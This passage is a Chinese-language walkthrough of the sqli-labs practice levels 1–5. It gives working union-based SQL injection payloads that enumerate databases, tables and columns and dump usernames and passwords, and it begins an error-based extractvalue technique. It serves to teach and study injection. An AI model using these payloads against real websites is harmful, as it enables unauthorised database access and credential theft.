1~10 GET传输
Less-1联合查询[ ’ ]
优点:查询方便 速度很快
缺点:必须要有显示位
1、判断sql语句中一共返回了多少列
order by 3 --+
对比如下两张图的显示页面。得知有3列
2、查看显示位
union select 1,2,3 --+
3、爆数据
union select 1,2,database() ## 当前数据库名
4、爆库名
union select 1,database(),schema_name from information_schema.schemata limit 0,1 --+ # 爆出一个数据库
union select 1,database(),group_concat(schema_name) from information_schema.schemata --+ # 爆出全部数据库
5、爆表名
union select 1,database(),(select table_name from information_schema.tables where table_schema = database() limit 0,1) --+ # 爆出数据库" security "里的一个表名
union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+ # 爆出数据库" security "里的所有表名
6、爆列名
union select 1,database(),( select column_name from information_schema.columns where table_schema =database() and table_name='users' limit 0,1) --+ # 从表名" users "中爆出一个字段来
union select 1,database(),( select group_concat(column_name) from information_schema.columns where table_schema =database() and table_name='users' ) --+ # 从表名" users "中爆出全部字段来
7、爆数据
union select 1,database(),concat(id,0x7e,username,0x7e,password) from users limit 0,1 --+ # 从" users "表里对应的列名中爆出一个数据来
union select 1,database(),(select group_concat(concat(id,0x7e,username,0x7e,password)) from users) --+ # 从" users "表里对应的列名中爆出所有数据来
至此,联合查询注入完成。
Less-2 联合查询[ ]
Less-3 联合查询[ ') ]
Less-4 联合查询[ ") ]
均按照Less-1查询步骤做细微调整即可(具体调整内容为见[ ]内)
Less-5 报错注入[ ’ ]
缺点:必须有数据库报错信息
1、判断是什么类型的注入
extractvalue
1、爆数据
and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+ # 当前数据库
2、爆库名
and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e